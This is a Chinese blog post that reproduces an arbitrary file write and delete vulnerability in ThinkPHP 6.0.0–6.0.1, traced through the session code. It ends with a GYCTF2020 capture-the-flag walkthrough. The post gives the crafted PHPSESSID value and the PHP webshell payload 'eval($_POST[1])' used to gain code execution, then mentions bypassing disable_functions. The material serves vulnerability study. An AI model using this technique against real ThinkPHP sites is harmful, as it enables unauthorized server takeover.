Thinkphp6.0.0-6.0.1 任意文件操作漏洞复现
环境配置
thinkphp6默认是没有开启session功能的,需要取消app\middleware.php文件中对session的注释

由于默认情况下没有创建session,所需要修改一下控制器,加上创建session的功能。

漏洞利用
修改cookie为PHPSESSID=aaaabbbbccccddddeeeeffff1234.php,文件名长度必须等于32位

写入成功
1  |  | 

写入文件内容

漏洞分析
任意文件写入
vendor/topthink/framework/src/think/session/Store.php
调用了write()方法,$sessionId等于$this->id


vendor/topthink/framework/src/think/session/driver/File.php
跟进write()方法,写入文件名为经过getFileName()处理的$sessID,写入文件内容为传入的参数$sessData

跟进getFileName(),文件名实质上就等于sess_拼接上$this->id

writeFile()方法调用了file_put_contents()写入文件,写入的文件名等于sess_拼接上$this->id

接着查找$this->id的来源,当传入的参数$id长度等于32位时返回$this->id等于$id。

vendor/topthink/framework/src/think/middleware/SessionInit.php
这里调用了setId()方法,$cookName等于PHPSESID, $this->$id 最终来源于cookie中的 PHPSESSID 。这样写入的文件名就可控了。文件内容data来源于session的内容,需要代码中存在可以控制session内容的操作,如Session::set('name',$_POST['c']);,就可以写入shell。

vendor/topthink/framework/src/think/session/Store.php


任意文件删除
vendor/topthink/framework/src/think/session/Store.php
要触发delete()方法必须要使$this->data为空,即session中的变量键值为空

vendor/topthink/framework/src/think/session/driver/File.php
delete()方法中的文件名拼接上了sess_,文件名不完全可控,在windows下才可以用一个不存在的目录绕过限制删除任意文件。


[GYCTF2020]EasyThinking
通过错误信息得到thinkphp版本为6.0.0

存在www.zip

\app\middleware.php
session开启

\app\home\controller\Member.php
在search控制器下出现了创建session操作,session键值key通过post传参,内容可控

注册一个用户

登陆,修改修改PHPSESSID为aaaabbbbccccddddeeeeffff1234.php

写入shell,key=<?php eval($_POST[1]);?>


成功写入
1  |  | 

蚁剑连接后发现flag为空,根目录存在readflag文件,需要执行readflag

发现disable_function过滤命令执行函数

使用蚁剑绕过disable_function插件读取flag

参考
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!